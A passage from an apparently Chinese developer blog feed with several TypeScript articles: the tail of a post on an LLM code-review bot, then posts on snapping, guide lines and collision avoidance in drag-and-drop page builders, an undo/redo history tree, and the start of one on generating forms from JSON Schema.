模型偶尔不返回 JSON。 prompt 写得再严格,总有 1% 概率它给你一段纯文本。加 try-catch,解析失败跳过这个 chunk,别让整条 pipeline 挂了。

不适合的场景

代码不能外发的。 金融、医疗那种合规要求,不能把代码丢第三方 API,得自建模型。成本翻 10 倍起。

超大 monorepo。 一个 PR 200 个文件 5000 行 diff,分片数爆炸,调用费飙升,评论多到没人看。这种先解决"PR 太大"的问题。

团队不买账。 reviewer 对 bot 每条建议都反复验证,那它不是省时间,是加活。信任得慢慢攒——先跑一个月 COMMENT 模式让大家看看准确率,再考虑要不要接进 CI 必过检查。

反馈闭环

跑起来不算完,得知道它干得咋样。

// 每条评论带 👍/👎 reaction
// 定期统计
async function collectFeedback(prNumber: number) {
  const reviews = await octokit.pulls.listReviews({ owner, repo, pull_number: prNumber })
  const botReview = reviews.data.find(r => r.user?.login === 'github-actions[bot]')
  if (!botReview) return

  const comments = await octokit.pulls.listReviewComments({ owner, repo, pull_number: prNumber })
  const botComments = comments.data.filter(c => c.pull_request_review_id === botReview.id)

  for (const comment of botComments) {
    const reactions = await octokit.reactions.listForPullRequestReviewComment({
      owner, repo, comment_id: comment.id,
    })
    const thumbsUp = reactions.data.filter(r => r.content === '+1').length
    const thumbsDown = reactions.data.filter(r => r.content === '-1').length

    await db.insert({ commentId: comment.id, thumbsUp, thumbsDown, category: '...' })
  }
}

thumbs down 多的 category,说明那类 prompt 得调了。

跑几个月回头看数据会发现:安全类检测准确率最高,pattern 明确嘛;重构建议争议最大,"好代码"这事本来就主观。准确率低的 plugin 降 severity 或者直接关掉。这套东西最后值不值钱,不取决于模型多强,取决于你愿不愿意持续看数据、调 prompt、做迭代。

拖拽搭建场景下的智能布局算法:栅格吸附、参考线与响应式出码

2026年3月10日 15:16

拖拽搭建场景下的智能布局算法:栅格吸附、参考线与响应式出码

你拖了一个按钮到画布上,松手的瞬间,它"啪"地吸到了网格线上,左右两边自动出现等距参考线,旁边的卡片默默让了个位。你觉得这很自然——直到你要自己实现一个。

这篇文章聊的就是低代码/零代码搭建器背后那套"看起来很聪明"的布局系统。它不是一个功能,而是三个子系统的协作:栅格吸附、参考线对齐、碰撞避让,最后还要把画布状态翻译成能跑在不同屏幕上的真实代码。


一、核心矛盾:自由拖拽 vs 规整布局

用户想要的是"随便拖",设计规范要求的是"对齐、等距、响应式"。这两件事天然矛盾。

你不能真让用户随便拖——最终生成的页面会像贴满小广告的电线杆。你也不能锁死网格——用户会觉得"这破玩意儿还不如我手写 CSS"。

本质问题:如何在不限制用户自由度的前提下,让最终布局收敛到一个"看起来专业"的状态?

答案是:拖拽过程中做实时约束求解。用户以为自己在自由拖拽,其实每一帧都有一个算法在"纠正"他的手。


二、栅格吸附:你以为你拖到了 137px,其实是 144px

2.1 基本模型

栅格吸附的本质是一个最近点投影问题。

interface GridConfig {
  columns: number       // 栅格列数,通常 12 或 24
  gutter: number        // 列间距
  containerWidth: number
}

function snapToGrid(rawX: number, config: GridConfig): number {
  const { columns, gutter, containerWidth } = config
  // 每列实际宽度(含间距)
  const cellWidth = (containerWidth + gutter) / columns

  // 四舍五入到最近的栅格线
  const colIndex = Math.round(rawX / cellWidth)

  // 吸附后的实际像素位置
  return colIndex * cellWidth
}

// 用户拖到 137px → 最近的栅格线在 144px → 吸附过去
// 用户感知:松手后元素"微调"了一下位置

2.2 吸附阈值:不是所有距离都该吸

如果无论多远都吸,用户会觉得元素"飘了"。如果吸附范围太小,又会觉得"对不齐"。

function snapWithThreshold(rawX: number, gridX: number, threshold = 8): number {
  const distance = Math.abs(rawX - gridX)

  // 距离栅格线 8px 以内才吸附,超过就尊重用户意图
  if (distance <= threshold) {
    return gridX  // 吸过去
  }
  return rawX     // 保持原位,用户可能就是想放这儿
}

经验值:阈值设为栅格宽度的 15%~20% 手感最好。太大会"抢",太小会"没反应"。

2.3 多轴吸附的优先级冲突

横向想吸到列网格,纵向想吸到行网格,同时还想跟旁边的元素对齐。三个力同时作用,元素往哪飘?

interface SnapCandidate {
  axis: 'x' | 'y'
  target: number        // 吸附目标位置
  distance: number      // 距离
  priority: number      // 优先级权重
  source: 'grid' | 'element' | 'guideline'
}

function resolveSnap(candidates: SnapCandidate[]): { x: number; y: number } {
  // 按轴分组,每个轴只取优先级最高且距离最近的
  const bestX = candidates
    .filter(c => c.axis === 'x' && c.distance < THRESHOLD)
    .sort((a, b) => b.priority - a.priority || a.distance - b.distance)[0]

  const bestY = candidates
    .filter(c => c.axis === 'y' && c.distance < THRESHOLD)
    .sort((a, b) => b.priority - a.priority || a.distance - b.distance)[0]

  return {
    x: bestX?.target ?? rawX,
    y: bestY?.target ?? rawY
  }
}

// 优先级:元素对齐 > 参考线 > 栅格
// 因为用户更关心"跟旁边那个对齐"而不是"落在网格上"

三、等距参考线:那条蓝色虚线怎么来的

Figma、Sketch 里拖元素时,会冒出蓝色参考线告诉你"你跟左边的间距和右边的间距一样了"。这个功能让用户觉得工具"很聪明",但实现起来涉及 O(n²) 的元素间距计算。

3.1 核心算法

interface Rect {
  id: string
  x: number; y: number
  width: number; height: number
}

function findEqualSpacingGuides(
  dragging: Rect,
  others: Rect[],
  tolerance = 3         // 间距差在 3px 以内视为"相等"
): GuideLine[] {
  const guides: GuideLine[] = []

  // 找水平方向上在同一行的元素(y 轴有交叠)
  const sameRow = others.filter(el =>
    el.y < dragging.y + dragging.height &&
    el.y + el.height > dragging.y
  )

  // 按 x 排序
  const sorted = [...sameRow, dragging].sort((a, b) => a.x - b.x)

  // 计算相邻元素间距
  for (let i = 0; i < sorted.length - 2; i++) {
    const gap1 = sorted[i + 1].x - (sorted[i].x + sorted[i].width)
    const gap2 = sorted[i + 2].x - (sorted[i + 1].x + sorted[i + 1].width)

    if (Math.abs(gap1 - gap2) <= tolerance) {
      // 间距相等!画参考线
      guides.push({
        type: 'equal-spacing',
        positions: [sorted[i], sorted[i + 1], sorted[i + 2]],
        gap: gap1
      })
    }
  }

  return guides
}

3.2 性能问题:元素多了怎么办

画布上有 200 个元素,每次 mousemove 都算一遍 O(n²) 的间距,你的 16ms 帧预算就炸了。

// 空间索引:用 R-tree 或简化版的"条带分区"加速
class SpatialIndex {
  private bands: Map<number, Rect[]> = new Map()
  private bandSize = 100  // 每 100px 一个分区

  insert(rect: Rect) {
    const bandStart = Math.floor(rect.y / this.bandSize)
    const bandEnd = Math.floor((rect.y + rect.height) / this.bandSize)
    for (let b = bandStart; b <= bandEnd; b++) {
      if (!this.bands.has(b)) this.bands.set(b, [])
      this.bands.get(b)!.push(rect)
    }
  }

  // 只查跟拖拽元素"同一条带"的元素,从 200 个缩到 10~20 个
  queryNearby(rect: Rect): Rect[] {
    const bandStart = Math.floor(rect.y / this.bandSize)
    const bandEnd = Math.floor((rect.y + rect.height) / this.bandSize)
    const result = new Set<Rect>()
    for (let b = bandStart; b <= bandEnd; b++) {
      this.bands.get(b)?.forEach(r => result.add(r))
    }
    return [...result]
  }
}

从"对所有元素算间距"变成"只对附近元素算间距",复杂度从 O(n²) 降到 O(n·k),k 是平均每条带的元素数。


四、碰撞检测与自动避让

用户把 A 拖到 B 上面了。怎么办?

三种策略,各有取舍:

策略 体验 实现复杂度 适用场景
阻止重叠 生硬 仪表盘类
推挤避让 自然 自由画布
层叠堆放 灵活 卡片流布局

4.1 推挤避让算法

"推挤"是最像 Figma 的体验:你把 A 推过去,B 自动让开,B 让开后如果碰到 C,C 也让开——像多米诺骨牌。

function resolveCollisions(
  moved: Rect,
  allRects: Rect[],
  direction: 'down' | 'right' = 'down'
): Rect[] {
  const result = [...allRects]
  const queue = [moved]  // BFS:从被拖动的元素开始

  while (queue.length > 0) {
    const current = queue.shift()!

    for (const other of result) {
      if (other.id === current.id) continue
      if (!isOverlapping(current, other)) continue

      // 碰撞了 → 把 other 往下推
      const pushDistance = direction === 'down'
        ? (current.y + current.height) - other.y + SPACING
        : (current.x + current.width) - other.x + SPACING

      if (direction === 'down') {
        other.y += pushDistance
      } else {
        other.x += pushDistance
      }

      queue.push(other)  // other 移动后可能跟别的元素碰撞,继续处理
    }
  }

  return result
}

function isOverlapping(a: Rect, b: Rect): boolean {
  return !(a.x + a.width <= b.x ||
           b.x + b.width <= a.x ||
           a.y + a.height <= b.y ||
           b.y + b.height <= a.y)
}

4.2 防止无限推挤

一个元素推下去撞到另一个,另一个推下去又撞到第三个……如果布局很密,这个链条可能非常长,甚至成环(A 推 B,B 推 C,C 又推回 A)。

// 加个访问标记,防止循环推挤
const visited = new Set<string>()

while (queue.length > 0) {
  const current = queue.shift()!
  if (visited.has(current.id)) continue  // 已经被推过了,跳过
  visited.add(current.id)
  // ...后续逻辑
}

// 同时设置最大推挤深度
const MAX_DEPTH = 10  // 超过 10 层就停,宁可重叠也别卡死

写到这里我开始怀疑人生——一个"拖拽"功能,居然要处理图论里的环检测。


五、约束求解:把吸附、对齐、避让统一起来

前面三个子系统各自为政,经常打架:栅格吸附说"往左 3px",等距参考线说"往右 2px",碰撞避让说"往下 10px"。

统一的方式是把所有规则建模成约束,然后求解。

interface Constraint {
  type: 'snap' | 'align' | 'no-overlap' | 'spacing'
  weight: number        // 权重,越高越优先
  apply: (pos: Position) => Position  // 约束函数
}

function solveConstraints(
  rawPos: Position,
  constraints: Constraint[],
  maxIterations = 5     // 迭代次数,通常 3~5 次就收敛
): Position {
  let pos = { ...rawPos }

  // 按权重排序,高优先级先满足
  const sorted = constraints.sort((a, b) => b.weight - a.weight)

  for (let i = 0; i < maxIterations; i++) {
    let moved = false
    for (const c of sorted) {
      const newPos = c.apply(pos)
      if (newPos.x !== pos.x || newPos.y !== pos.y) {
        pos = newPos
        moved = true
      }
    }
    if (!moved) break  // 所有约束都满足了,提前结束
  }

  return pos
}

这个模式本质上是一个简化版的松弛法(Relaxation),跟物理引擎里解约束的思路一样。权重决定了冲突时谁赢:

  • no-overlap: 100(碰撞必须解决,不然页面重叠)
  • align: 80(对齐很重要,但不能为了对齐搞重叠)
  • snap: 50(栅格吸附锦上添花,不是刚需)
  • spacing: 30(等距是最弱的建议)

六、跨断点响应式出码

画布上拖好了,最终要变成在手机、平板、桌面端都能跑的代码。这是整个系统最难的部分。

6.1 问题:画布是绝对定位,真实页面是流式布局

画布上的每个元素都有精确的 { x, y, width, height },但你不能直接生成 position: absolute; left: 137px——这在手机上会直接飞出去。

需要做的是:从绝对坐标反推出语义化的布局结构

// 输入:画布上的绝对定位元素
const canvasElements = [
  { id: 'logo', x: 0, y: 0, w: 200, h: 60 },
  { id: 'nav', x: 220, y: 10, w: 580, h: 40 },
  { id: 'hero', x: 0, y: 80, w: 800, h: 300 },
]

// 输出:语义化的布局树
// {
//   type: 'row',                          ← logo 和 nav y 接近,判定为同一行
//   children: [
//     { id: 'logo', col: 'span 3' },      ← 200/800 ≈ 3/12 列
//     { id: 'nav', col: 'span 9' }        ← 580/800 ≈ 9/12 列
//   ]
// },
// { id: 'hero', col: 'span 12' }          ← 独占一行

6.2 行检测算法

function detectRows(elements: CanvasRect[]): CanvasRect[][] {
  // 按 y 排序
  const sorted = [...elements].sort((a, b) => a.y - b.y)
  const rows: CanvasRect[][] = [[sorted[0]]]

  for (let i = 1; i < sorted.length; i++) {
    const current = sorted[i]
    const lastRow = rows[rows.length - 1]
    // y 坐标差在 20px 以内,视为同一行
    const rowTop = Math.min(...lastRow.map(el => el.y))

    if (Math.abs(current.y - rowTop) < 20) {
      lastRow.push(current)
    } else {
      rows.push([current])  // 新起一行
    }
  }

  // 每行内部按 x 排序
  return rows.map(row => row.sort((a, b) => a.x - b.x))
}

6.3 断点映射与出码

interface Breakpoint {
  name: string
  minWidth: number
  columns: number
}

const breakpoints: Breakpoint[] = [
  { name: 'mobile', minWidth: 0, columns: 4 },
  { name: 'tablet', minWidth: 768, columns: 8 },
  { name: 'desktop', minWidth: 1024, columns: 12 },
]

function generateResponsiveCSS(
  element: CanvasRect,
  canvasWidth: number
): string {
  // 元素在画布上占的比例
  const ratio = element.w / canvasWidth

  return breakpoints.map(bp => {
    // 比例映射到该断点的栅格列数
    const spanCols = Math.round(ratio * bp.columns)
    // 保底 1 列,不能为 0
    const finalSpan = Math.max(1, Math.min(spanCols, bp.columns))

    if (bp.minWidth === 0) {
      return `.el-${element.id} { grid-column: span ${finalSpan}; }`
    }
    return `@media (min-width: ${bp.minWidth}px) {
  .el-${element.id} { grid-column: span ${finalSpan}; }
}`
  }).join('\n\n')
}

// 桌面端占 6/12 的元素 → 平板占 4/8 → 手机占 2/4
// 比例一致,视觉不跳

6.4 断点间的布局坍缩

桌面端一行三个卡片,手机上放不下怎么办?

function collapseRow(
  row: CanvasRect[],
  targetColumns: number  // 目标断点的总列数
): LayoutNode[] {
  let usedCols = 0
  const lines: LayoutNode[][] = [[]]

  for (const el of row) {
    const span = Math.max(1, Math.round((el.w / canvasWidth) * targetColumns))

    if (usedCols + span > targetColumns) {
      // 这一行放不下了,换行
      lines.push([])
      usedCols = 0
    }

    lines[lines.length - 1].push({ ...el, span })
    usedCols += span
  }

  return lines.flat()
}

// 桌面:[卡片A(4列) 卡片B(4列) 卡片C(4列)]  → 一行
// 手机:[卡片A(4列)] [卡片B(4列)] [卡片C(4列)] → 三行
// 4 列断点下每个卡片独占一行,自动堆叠

七、设计权衡

吸附精度 vs 性能

方案 精度 每帧耗时 适用规模
暴力遍历所有元素 最高 O(n²) <50 个元素
空间索引 + 条带分区 O(n·k) 50~500
Web Worker 异步计算 不阻塞主线程 500+

实际项目中 50~200 个元素最常见,条带分区就够用。上 Web Worker 是为了防御性编程——万一产品经理说"我们要支持 1000 个组件",你不至于重写。

约束求解 vs 规则引擎

约束求解灵活,但调试困难——你很难解释"为什么元素跳到了那个位置"。规则引擎(if-else 链)简单粗暴,但一旦规则超过 20 条就是灾难。

我的建议:先用规则引擎,痛了再迁移到约束求解。过早抽象是万恶之源。

出码质量 vs 还原度

100% 还原画布设计?那只能用绝对定位——响应式全废。用语义化栅格?像素级还原就别想了。

折中方案:大布局用栅格,小组件内部用 Flexbox,极端情况允许局部绝对定位。给用户一个"锁定像素位置"的开关,选了就不做响应式适配,让用户自己承担后果。


八、边界与踩坑

1. 吸附震荡:元素在两条栅格线之间反复横跳。解法:加 hysteresis(滞后区间),吸附后需要移动超过阈值才能脱离。

2. 参考线闪烁:高速拖拽时参考线一闪一闪。解法:参考线渲染加 debounce,或者用 requestAnimationFrame 合并更新。

3. 推挤雪崩:一个元素推动了整个画布向下平移。解法:设最大推挤深度,超过后弹 toast 提示用户"空间不够"。

4. 出码后跟画布长得不一样:这不是 bug,这是特性。栅格系统做的是"近似还原",不是"像素复制"。提前告知用户预期,比事后解释强。


九、总结:一个通用模型

拖拽搭建的智能布局,本质上是一个多约束实时求解 + 坐标空间转换的系统问题。

拆开来看:

  • 栅格吸附 = 连续空间到离散空间的投影
  • 参考线 = 元素间拓扑关系的实时计算
  • 碰撞避让 = 图上的约束传播(BFS/松弛法)
  • 响应式出码 = 绝对坐标系到语义布局树的逆向推断

这四个子问题的组合方式,几乎可以套用到所有"可视化编辑器"场景:PPT 编辑器、白板工具、BI 仪表盘、甚至游戏关卡编辑器。

可视化搭建引擎的撤销重做系统:Command 模式 + Immutable 快照实现操作历史树

2026年3月10日 11:44

可视化搭建引擎的撤销重做系统:Command 模式 + Immutable 快照实现操作历史树

你做低代码搭建平台,撤销重做是第一个"看起来简单、做起来怀疑人生"的功能。

用户拖了个组件,改了个属性,调了个层级,然后按了 Ctrl+Z——页面回去了。再按 Ctrl+Shift+Z——页面又回来了。看起来就是个栈操作,对吧?

直到有一天:

  • 用户撤销了三步,然后做了一个新操作——中间那些"被撤销的未来"怎么办?丢掉?还是保留成分支?
  • 两个人同时编辑同一个画布,A 撤销了,B 的操作还在——这算冲突吗?
  • 一个复合操作(批量对齐 20 个组件)撤销时要原子回滚,但其中第 15 个组件已经被别人删了。

这时候你才发现,撤销重做不是两个栈的事,是一棵树、一套冲突解决策略、一个时间旅行引擎。


从两个栈到一棵树:撤销重做的本质问题

经典方案:双栈模型

大部分教程告诉你的版本:

const undoStack: Command[] = []
const redoStack: Command[] = []

function execute(cmd: Command) {
  cmd.execute()
  undoStack.push(cmd)
  redoStack.length = 0 // 新操作一来,redo 全清空
}

function undo() {
  const cmd = undoStack.pop()
  cmd?.undo()
  if (cmd) redoStack.push(cmd)
}

function redo() {
  const cmd = redoStack.pop()
  cmd?.execute()
  if (cmd) undoStack.push(cmd)
}

能用,但有个致命问题:redoStack.length = 0 这一行,把用户的"平行宇宙"直接抹杀了。

用户撤销三步后做了新操作,之前的三步操作永远消失了。在文本编辑器里这可以接受,但在可视化搭建引擎里,用户可能花了十分钟拖出来的布局——说没就没了。

本质问题

撤销重做的本质不是"线性回退",而是操作历史的版本管理。你需要的是 Git,不是浏览器的前进后退。


Command 模式:让每一步操作都可逆

为什么不直接存快照?

先回答一个绕不开的问题:为什么不每一步存一份完整状态快照,撤销就直接恢复快照?

因为搭建引擎的状态可能有几百个组件、上千个属性,每步都深拷贝整棵树,内存直接爆炸。况且快照方案无法回答"这一步到底做了什么"——在协同场景下,这个信息至关重要。

Command 模式的核心思路:不存状态,存变化。

interface Command {
  readonly type: string
  execute(): void    // 正向执行
  undo(): void       // 反向撤销
  merge?(other: Command): Command | null  // 可选:合并连续同类操作
}

// 移动组件的命令
class MoveCommand implements Command {
  type = 'move' as const

  constructor(
    private node: CanvasNode,
    private from: Position,  // 记住旧位置
    private to: Position     // 记住新位置
  ) {}

  execute() {
    this.node.position = { ...this.to }
  }

  undo() {
    this.node.position = { ...this.from } // 反向操作:回到旧位置
  }

  // 连续拖拽只保留首尾位置,不然 undo 一次只回退 1px
  merge(other: Command): Command | null {
    if (other instanceof MoveCommand && other.node === this.node) {
      return new MoveCommand(this.node, this.from, other.to)
    }
    return null
  }
}

复合命令:批量操作的原子性

批量对齐 20 个组件,撤销时必须一起回去,不能一个一个撤:

class CompoundCommand implements Command {
  type = 'compound' as const

  constructor(private commands: Command[]) {}

  execute() {
    this.commands.forEach(cmd => cmd.execute()) // 顺序执行
  }

  undo() {
    // ✅ 反序撤销!先执行的最后撤销,保证状态一致
    ;[...this.commands].reverse().forEach(cmd => cmd.undo())
  }
}

// 使用:批量对齐
function alignComponents(nodes: CanvasNode[], baseline: number) {
  const commands = nodes.map(node =>
    new MoveCommand(node, node.position, { ...node.position, y: baseline })
  )
  const batch = new CompoundCommand(commands)
  historyManager.execute(batch)
}

从链表到树:操作历史的分支管理

历史树的数据结构

关键转变:把线性的 undo/redo 栈变成一棵树。每个节点代表一次操作,撤销后做新操作时不丢弃旧分支,而是创建新分支。

interface HistoryNode {
  id: string
  command: Command
  parent: HistoryNode | null
  children: HistoryNode[]       // 多个子节点 = 多个分支
  timestamp: number
  branchLabel?: string          // 可选:给分支起名
}

class HistoryTree {
  root: HistoryNode
  current: HistoryNode          // 当前指针,指向"现在"

  execute(cmd: Command) {
    cmd.execute()
    const node: HistoryNode = {
      id: nanoid(),
      command: cmd,
      parent: this.current,
      children: [],
      timestamp: Date.now(),
    }
    this.current.children.push(node)  // 挂到当前节点下面
    this.current = node               // 指针前进
  }

  undo() {
    if (!this.current.parent) return   // 已经在根节点,没得撤了
    this.current.command.undo()
    this.current = this.current.parent // 指针回退,但子节点还在
  }

  redo(branchIndex = 0) {
    const next = this.current.children[branchIndex]
    if (!next) return                  // 没有可 redo 的分支
    next.command.execute()
    this.current = next
  }
}

children.length > 1 时,用户面临一个分支选择。UI 上可以展示成一棵可视化的历史树,让用户点击任意节点"穿越"回去。

穿越到任意历史节点

不只是一步步 undo/redo,用户可能想直接跳到历史树的某个节点:

class HistoryTree {
  // ...接上文

  travelTo(target: HistoryNode) {
    // 1. 找到 current 和 target 的最近公共祖先(LCA)
    const currentPath = this.getPathToRoot(this.current)
    const targetPath = this.getPathToRoot(target)
    const lca = this.findLCA(currentPath, targetPath)

    // 2. 从 current 撤销到 LCA
    let node = this.current
    while (node !== lca) {
      node.command.undo()
      node = node.parent!
    }

    // 3. 从 LCA 重做到 target
    const replayPath = targetPath.slice(0, targetPath.indexOf(lca)).reverse()
    for (const step of replayPath) {
      step.command.execute()
    }

    this.current = target
  }

  private getPathToRoot(node: HistoryNode): HistoryNode[] {
    const path: HistoryNode[] = []
    while (node) {
      path.push(node)
      node = node.parent!
    }
    return path
  }
}

这就是为什么叫"时间旅行引擎"——你不是在前进后退,你是在一棵操作树上随意跳转。


Immutable 快照:Command 模式的保险丝

纯 Command 模式有个隐患:undo/redo 链条一旦断裂,整个历史就废了。

比如某个 Command 的 undo() 实现有 bug,或者外部直接修改了状态绕过了 Command 系统,后续所有的 undo 都会产生错误的结果,而且这个错误会累积。

解决方案:在关键节点插入 Immutable 快照作为"存档点"。

import { produce, freeze } from 'immer'

interface HistoryNode {
  id: string
  command: Command
  parent: HistoryNode | null
  children: HistoryNode[]
  timestamp: number
  snapshot?: Readonly<CanvasState>  // 关键节点的完整状态快照
}

class HistoryTree {
  private operationsSinceSnapshot = 0
  private SNAPSHOT_INTERVAL = 20   // 每 20 步存一次快照

  execute(cmd: Command) {
    cmd.execute()
    const node: HistoryNode = {
      id: nanoid(),
      command: cmd,
      parent: this.current,
      children: [],
      timestamp: Date.now(),
    }

    this.operationsSinceSnapshot++

    // 每 N 步自动存一次"存档"
    if (this.operationsSinceSnapshot >= this.SNAPSHOT_INTERVAL) {
      node.snapshot = freeze(structuredClone(this.getState()))
      this.operationsSinceSnapshot = 0
    }

    this.current.children.push(node)
    this.current = node
  }

  // 快照校验:检测 command 链是否出了问题
  verify() {
    const nearestSnapshot = this.findNearestSnapshot(this.current)
    if (!nearestSnapshot?.snapshot) return true

    // 从快照重放到当前位置
    const expectedState = this.replayFrom(nearestSnapshot)
    const actualState = this.getState()

    // 不一致说明有 command 的 undo/redo 实现出了 bug
    return deepEqual(expectedState, actualState)
  }
}

这样做的好处是双重保障:Command 负责增量操作,Snapshot 负责兜底校验和快速恢复。 就像 Redis 的 AOF + RDB 策略,一个记操作日志,一个存完整快照。


协同场景:当两个人同时操作一棵历史树

这是真正让人头秃的部分。

问题场景

  • A 把按钮拖到了右边
  • B 同时把同一个按钮改成了红色
  • A 按了撤销——按钮回到左边。但 B 的红色怎么办?

操作转换(OT)的简化思路

每个 Command 需要支持 transform——当与另一个并发操作冲突时,转换自己:

interface CollaborativeCommand extends Command {
  targetId: string              // 操作目标的组件 ID
  vectorClock: VectorClock      // 逻辑时钟,判定因果关系

  // 核心:当检测到并发冲突时,转换命令
  transform(against: CollaborativeCommand): CollaborativeCommand
}

class CollaborativeMoveCommand implements CollaborativeCommand {
  // ...基本属性

  transform(against: CollaborativeCommand): CollaborativeCommand {
    // 不同组件,互不影响
    if (against.targetId !== this.targetId) return this

    // 同一组件,对方也在移动 → 以时间戳晚的为准
    if (against instanceof CollaborativeMoveCommand) {
      if (against.vectorClock.isAfter(this.vectorClock)) {
        // 对方操作更晚,我的操作变成 no-op
        return new NoOpCommand()
      }
    }

    return this // 其他情况保持不变
  }
}

每人一棵本地历史树

协同编辑中,每个用户维护自己的本地历史树,撤销只回退自己的操作:

class CollaborativeHistoryManager {
  private localTree: HistoryTree        // 我的操作历史
  private userId: string

  undo() {
    // 只撤销"我自己的"最近一次操作
    let node = this.localTree.current
    while (node && node.command.userId !== this.userId) {
      node = node.parent!  // 跳过别人的操作
    }
    if (node) {
      // 撤销时需要对中间别人的操作做 transform
      this.undoWithTransform(node)
    }
  }

  // 收到远程操作时
  applyRemote(remoteCmd: CollaborativeCommand) {
    // 对本地未同步的操作做 OT 转换
    const localPending = this.getUnsynced()
    let transformed = remoteCmd
    for (const local of localPending) {
      transformed = transformed.transform(local)
    }
    transformed.execute()
  }
}

说实话,写到这里已经能感受到协同冲突解决的复杂度了。这就是为什么很多搭建平台选择"锁定编辑"而不是"自由协同"——不是不想做,是性价比的考量。


设计权衡:没有银弹

Command vs 纯快照

维度 Command 模式 纯快照
内存占用 低(只存 diff) 高(每步存全量)
实现复杂度 高(每种操作都要写 undo) 低(clone 一把就完事)
协同支持 好(可以做 OT) 差(快照无法合并)
调试难度 中(链条断裂难追踪) 低(直接对比快照)
适用场景 组件多、操作频繁 状态小、原型阶段

实际工程建议:混合方案。 Command 为主,关键节点存快照做校验和快速恢复。就像前面写的那样。

历史树 vs 线性栈

历史树的代价是 UI 复杂度显著上升。你得给用户展示分支、提供选择入口、处理分支合并。如果你的产品场景是"普通运营人员搭页面",线性栈可能就够了——用户根本不理解什么叫"分支"。

历史树适合:专业设计工具、开发者向的搭建平台、需要"方案对比"的场景。

OT vs CRDT

协同冲突解决还有另一条路——CRDT(无冲突复制数据类型)。OT 需要中心服务器做转换,CRDT 可以完全去中心化。但 CRDT 对搭建引擎的树形结构支持还不够成熟,目前大部分生产级方案(Google Docs、Figma)仍然基于 OT 或其变体。


边界与踩坑

1. 命令的序列化

操作历史如果要持久化(刷新不丢失),Command 必须可序列化。这意味着 Command 里不能存组件的引用,只能存 ID:

// ❌ 存引用,序列化直接炸
class BadCommand {
  constructor(private node: CanvasNode) {} // 引用无法序列化
}

// ✅ 存 ID,执行时再查
class GoodCommand {
  constructor(private nodeId: string) {}
  execute() {
    const node = store.getNodeById(this.nodeId) // 执行时动态查找
    if (!node) return // 组件可能已被删除,需要防御
  }
}

2. 快照的内存策略

无限制存快照迟早 OOM。需要 LRU 淘汰或者按时间窗口清理:

  • 最近 50 步的快照全保留
  • 超过 50 步的,每 10 步保留一个
  • 超过 200 步的,只保留分支点的快照

3. 外部副作用

有些操作有外部副作用——比如"发布页面"。这种操作即使放进了 Command,undo 也不可能真的"取消发布"。对这类操作,要么不纳入撤销体系,要么 undo 时只回退本地状态并提示用户"线上版本需手动处理"。


技术升华:这到底是什么问题?

退一步看,撤销重做系统本质上是一个事件溯源(Event Sourcing)系统

  • 每个 Command 就是一个 Event
  • 操作历史就是 Event Log
  • 当前状态 = 初始状态 + 按序重放所有 Event
  • 快照就是物化视图的 Checkpoint

这个模型不只在前端出现。数据库的 WAL(预写日志)、Redux 的 Action/Reducer、区块链的交易记录——底层都是同一个思路:不存结果,存过程。需要结果时,重放过程。

下次遇到类似的问题——需要回溯、需要审计、需要协同——先问自己:

  1. 操作是否可逆?→ Command 模式
  2. 历史是否需要分支?→ 树形结构
  3. 是否需要兜底恢复?→ 关键节点快照
  4. 是否多人操作?→ OT/CRDT

这四个问题的答案组合,决定了你的撤销系统的复杂度上限。选哪个方案不重要,重要的是清楚自己在哪个复杂度等级上——别用杀鸡的刀去宰牛,也别拿牛刀去削苹果。

基于 LLM Function Calling 的前端动态表单生成引擎:从 JSON Schema 映射到运行时组件树的端到端实现

2026年3月10日 11:22

基于 LLM Function Calling 的前端动态表单生成引擎:从 JSON Schema 映射到运行时组件树的端到端实现

一个真实的需求

上个月接了个活:给内部运营平台加一个"智能工单"功能。运营人员用自然语言描述需求,系统自动生成对应的表单让用户填写。

听起来很酷,对吧?

问题来了——LLM 返回的是 JSON Schema,而前端需要的是可交互的组件树。中间隔着一条鸿沟:类型映射、校验规则注入、条件渲染、组件动态加载……每一步都能让你怀疑人生。

这篇文章就聊这个:怎么把 LLM Function Calling 吐出来的 JSON Schema,变成一棵真正能跑的前端表单组件树


Function Calling 到底给了你什么

先搞清楚起点。当你给 LLM 定义一个 function,它返回的 parameters 本质上就是一份 JSON Schema:

{
  "name": "create_ticket",
  "parameters": {
    "type": "object",
    "properties": {
      "title": { "type": "string", "description": "工单标题" },
      "priority": { "type": "string", "enum": ["low", "medium", "high"] },
      "deadline": { "type": "string", "format": "date" },
      "attachments": {
        "type": "array",
        "items": { "type": "string", "format": "uri" }
      }
    },
    "required": ["title", "priority"]
  }
}

这份 Schema 告诉你数据长什么样,但不告诉你UI 长什么样

string 应该渲染成 Input 还是 Textarea?enum 是下拉框还是 Radio?format: "date" 用哪个日期组件?

这就是核心问题:Schema 描述的是数据契约,不是 UI 契约。你需要一套映射引擎把前者翻译成后者。


映射引擎的本质:类型系统到组件系统的编译器

把 JSON Schema 变成组件树,本质上和编译器做的事情一样——词法分析(解析 Schema)、语法分析(构建 UI AST)、代码生成(渲染组件)。

只不过你的"源语言"是 JSON Schema,"目标语言"是 React/Vue 组件树。

第一层:基础类型映射

先解决最简单的问题——把 JSON Schema 的类型映射到组件:

// 类型映射注册表:JSON Schema type → 组件
const typeRegistry: Record<string, ComponentResolver> = {
  string: (schema) => {
    // format 优先级最高
    if (schema.format === 'date') return DatePicker
    if (schema.format === 'uri') return UrlInput
    // enum 次之
    if (schema.enum) return schema.enum.length > 4 ? Select : RadioGroup
    // 长文本判断
    if (schema.maxLength && schema.maxLength > 200) return Textarea
    // 兜底
    return Input
  },

  number: (schema) => {
    if (schema.minimum !== undefined && schema.maximum !== undefined) return Slider
    return InputNumber
  },

  boolean: () => Switch,

  array: (schema) => {
    // 数组套枚举 → 多选
    if (schema.items?.enum) return CheckboxGroup
    // 普通数组 → 动态列表
    return DynamicList
  },

  object: (schema) => FieldGroup, // 递归处理
}

这层映射看似简单,但藏着一个决策:映射规则的优先级怎么定?

我们的优先级是:format > enum > 其他约束 > type 兜底。为什么?因为 format 是最具体的语义声明,而 type 是最泛化的。越具体的信息,越应该优先决定 UI 形态。

第二层:Schema → UI AST

拿到组件类型还不够,你需要一个中间表示层(IR),我们叫它 UI AST

interface UINode {
  id: string
  component: string          // 组件标识
  field: string              // 对应 Schema 的字段路径,如 "address.city"
  props: Record<string, any> // 传给组件的 props
  rules: ValidationRule[]    // 校验规则
  children?: UINode[]        // 嵌套节点(object / array 场景)
  visible?: ConditionExpr    // 条件渲染表达式
}

为什么不直接从 Schema 渲染组件,非要搞个中间层?

三个理由:

  1. 解耦。Schema 变了不用改渲染逻辑,渲染逻辑变了不用改解析逻辑
